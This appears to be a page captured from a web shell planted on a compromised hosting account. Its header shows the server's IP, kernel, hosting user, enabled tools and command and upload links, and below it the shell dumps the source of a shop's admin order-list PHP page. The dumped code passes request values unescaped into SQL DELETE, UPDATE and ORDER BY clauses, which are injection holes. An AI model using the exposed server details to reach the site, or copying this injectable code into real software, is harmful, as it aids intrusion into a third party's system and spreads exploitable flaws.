Server IP : 103.53.40.154 / Your IP : 18.217.4.250 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/ppcad7no/public_ftp/../ppcadsexpert.com/../adisgauges.com/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php require_once("../includes/dbsmain.inc.php"); if(is_post_back()) { $arr_ids = $_REQUEST['arr_ids']; if(is_array($arr_ids)) { $str_ids = implode(',', $arr_ids); if(isset($_REQUEST['Delete']) || isset($_REQUEST['Delete_x']) ) { db_query("delete from tbl_order where ord_id in ($str_ids)"); set_session_msg("Order Deleted Successfully !"); } else if(isset($_REQUEST['Activate']) || isset($_REQUEST['Activate_x']) ) { db_query("update tbl_order set ord_status = 'Active' where ord_id in ($str_ids)"); set_session_msg("Order Activated Successfully !"); } else if(isset($_REQUEST['Deactivate']) || isset($_REQUEST['Deactivate_x']) ) { db_query("update tbl_order set ord_status = 'Inactive' where ord_id in ($str_ids)"); set_session_msg("Order Deactivated Successfully !"); } else if(isset($_REQUEST['Deliver']) || isset($_REQUEST['Deliver_x']) ) { db_query("update tbl_order set ord_status = 'Deliver' where ord_id in ($str_ids)"); set_session_msg("Order Deliver Successfully !"); } else if(isset($_REQUEST['Rejected']) || isset($_REQUEST['Rejected_x']) ) { db_query("update tbl_order set ord_status = 'Rejected' where ord_id in ($str_ids)"); set_session_msg("Order Rejected Successfully !"); } else if(isset($_REQUEST['Paid']) || isset($_REQUEST['Paid_x']) ) { db_query("update tbl_order set order_payment_status = 'Paid' where ord_id in ($str_ids)"); set_session_msg("Order Paid Successfully !"); } else if(isset($_REQUEST['Unpaid']) || isset($_REQUEST['Unpaid_x']) ) { db_query("update tbl_order set order_payment_status = 'Unpaid' where ord_id in ($str_ids)"); set_session_msg("Order Unpaid Successfully !"); } } header("Location: ".$_SERVER['HTTP_REFERER']); exit; } $start = intval($start); $pagesize = intval($pagesize)==0?$pagesize=DEF_PAGE_SIZE:$pagesize; $order_by == '' ? $order_by = 'ord_id' : true; $order_by2 == '' ? $order_by2 = 'desc' : true; $sql = "select * from tbl_order where 1"; $sql = apply_filter($sql, preg_replace('/[^0-9]/', '', $ord_id), 'like','ord_id'); $sql .= " order by $order_by $order_by2 "; $sql .= " limit $start, $pagesize "; $pager = new midas_pager_sql($sql, $pagesize, $start); if($pager->total_records) { $result = db_query($sql); } ?> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <link href="styles.css" rel="stylesheet" type="text/css"> <script language="JavaScript" type="text/javascript" src="../includes/general.js"></script> <? include("top.inc.php");?> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td id="pageHead"><div id="txtPageHead">Order list </div></td> </tr> </table> <strong class="msg" style="margin-left:500px;"><?=display_sess_msg()?></strong> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td id="content"><form method="get" name="form2" id="form2" onSubmit="return confirm_submit(this)"> <br /> <table border="0" align="center" cellpadding="2" cellspacing="0" class="tableSearch" style="width:300px; height:90px;border:2px outset #fff;"> <tr align="center"> <th colspan="2">Search</th> </tr> <tr> <td class="tdLabel">Order Id</td> <td><input name="ord_id" type="text" value="" style="width:200px; height:24px;" /></td> </tr> <tr> <td> </td> <td><input name="pagesize" type="hidden" id="pagesize" value="<?=$pagesize?>" /> <input type="image" name="imageField" src="images/buttons/search.gif" /></td> </tr> </table> </form> <br /> <!--<div align="right"><a href="testimonial_f.php" style="font-size:12px; font-weight:bold;">Add New Testimonial</a> </div>--> <? if($pager->total_records==0) {?> <div class="msg">Sorry, no records found.</div> <? } else { ?> <div align="right"> <? $pager->show_displaying()?> </div> <div>Records Per Page: <?=pagesize_dropdown('pagesize', $pagesize);?> </div> <form method="post" name="form1" id="form1" onSubmit="confirm_submit(this)"> <table width="100%" border="0" cellpadding="0" cellspacing="1" class="tableList"> <tr> <th width="18%" nowrap="nowrap" style="font-size:12px; padding:9px;">Order No./User Info.</th> <th width="7%" nowrap="nowrap" style="font-size:12px; padding:9px;">Order Date</th> <th width="7%" nowrap="nowrap" style="font-size:12px; padding:9px;">Order/Payment Status<?=sort_arrows('reg_status')?></th> <th width="4%">Action</th> <th width="4%"><input name="check_all" type="checkbox" id="check_all" value="1" onClick="checkall(this.form)" /></th> </tr> <? while ($line_raw = mysqli_fetch_array($result)) { $line = ms_display_value($line_raw); @extract($line); $css = ($css=='trOdd')?'trEven':'trOdd'; $sql="SELECT * FROM tbl_registration WHERE reg_id='$line_raw[ord_reg_id]'"; $dataReg=db_query($sql); $recReg=mysqli_fetch_array($dataReg); ?> <tr class="<?=$css?>"> <td align="center" style="font-size:12px;"> <p><strong>Order Id : </strong>TCORD<?=$line_raw["ord_id"]?></p> <p><strong>Name : </strong><?=$recReg["reg_name"]?></p> <p><strong>Mobile : </strong><?=$recReg["reg_mobile_no"]?></p> <p><strong>Email : </strong><?=$recReg["reg_email"]?></p> </td> <td align="center" style="font-size:12px;"> <b><?=date("d M y",strtotime($line_raw["ord_date"]))?></b> (Item <?=db_scalar("SELECT COUNT(od_id) FROM tbl_order_detail WHERE 1 AND order_reg_id='$recReg[reg_id]' AND order_id='$line_raw[ord_id]'")?>) </td> <td align="center"> <b style="font-size:12px;"> <p> <?php if($line_raw["ord_status"]=="Active"){?> <span class="label-custom label label-default" >Active</span> <?php }else if($line_raw["ord_status"]=="Inactive"){?> <span class="label-danger label label-default" >Inactive</span> <?php }else if($line_raw["ord_status"]=="Deliver"){?> <span class="label-primary label label-default" >Deliver</span> <?php }else if($line_raw["ord_status"]=="Rejected"){?> <span class="label-warning label label-default" >Rejected</span> <?php }?> </p> </b> <p> <?php if($line_raw["order_payment_status"]=="Paid"){?> <span class="label-custom label label-default" style="text-transform:uppercase;background-color:#06F !important;border:solid thin #06F !important; color:white !important; padding:2px;" >Paid</span> <?php }else if($line_raw["order_payment_status"]=="Unpaid"){?> <span class="label-danger label label-default" style="text-transform:uppercase;background-color:#F00;border:solid thin #F00; color:white !important; padding:2px;" >Unpaid</span> <?php }?> </p> </td> <td align="center"> <!-- <p> <a href="add_edit_member_detail.php?reg_id=<?=$reg_id?>"><img src="images/icons/edit.png" alt="Edit" width="16" height="16" border="0" /></a></p>--> <p><a href="view-order-detail.php?user_id=<?=$recReg['reg_id']?>&ord_id=<?=$line_raw["ord_id"]?>" target="_blank"> <i class="fa fa-search fa-lg"></i> </a></p> </td> <td align="center"><input name="arr_ids[]" type="checkbox" id="arr_ids[]" value="<?=$ord_id?>" /></td> </tr> <? } ?> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td align="right" style="padding:2px"> <input type="submit" name="Activate" value="Activate" class="button" onClick="return select_chk()" style="font-size:12px; font-weight:bold; height:26px; background-color:#1F3E00; border-radius:4px; cursor:pointer; width:100px;"/> <input type="submit" name="Deactivate" value="Deactivate" class="button" onClick="return select_chk()" style="font-size:12px; font-weight:bold; height:26px; background-color:#FF6F6F; border-radius:4px; cursor:pointer; width:100px;" /> <input type="submit" name="Deliver" value="Deliver" class="button" onClick="return select_chk()" style="font-size:12px; font-weight:bold; height:26px; background-color:#1F3E00; border-radius:4px; cursor:pointer; width:100px;"/> <input type="submit" name="Rejected" value="Rejected" class="button" onClick="return select_chk()" style="font-size:12px; font-weight:bold; height:26px; background-color:#FF6F6F; border-radius:4px; cursor:pointer; width:100px;" /> <input type="submit" name="Paid" value="Paid" class="button" onClick="return select_chk()" style="font-size:12px; font-weight:bold; height:26px; background-color:#1F3E00; border-radius:4px; cursor:pointer; width:100px;"/> <input type="submit" name="Unpaid" value="Unpaid" class="button" onClick="return select_chk()" style="font-size:12px; font-weight:bold; height:26px; background-color:#FF6F6F; border-radius:4px; cursor:pointer; width:100px;" /> <input type="submit" name="Delete" value="Delete" class="button" onClick="return select_chk()" style="font-size:12px; font-weight:bold; height:26px; background-color:#CA0000; border-radius:4px; cursor:pointer; width:100px;"/> </td> </tr> </table> </form> <? $pager->show_pager();?> <? } ?> </td> </tr> </table> <?php include("bottom.inc.php");?> <script language="javascript"> function select_chk(){ var chks = document.getElementsByName('arr_ids[]'); var hasChecked = false; for (var i = 0; i < chks.length; i++){ if (chks[i].checked){ hasChecked = true; break; } } if (hasChecked == false){ alert("Please Select At Least One."); return false; } } </script>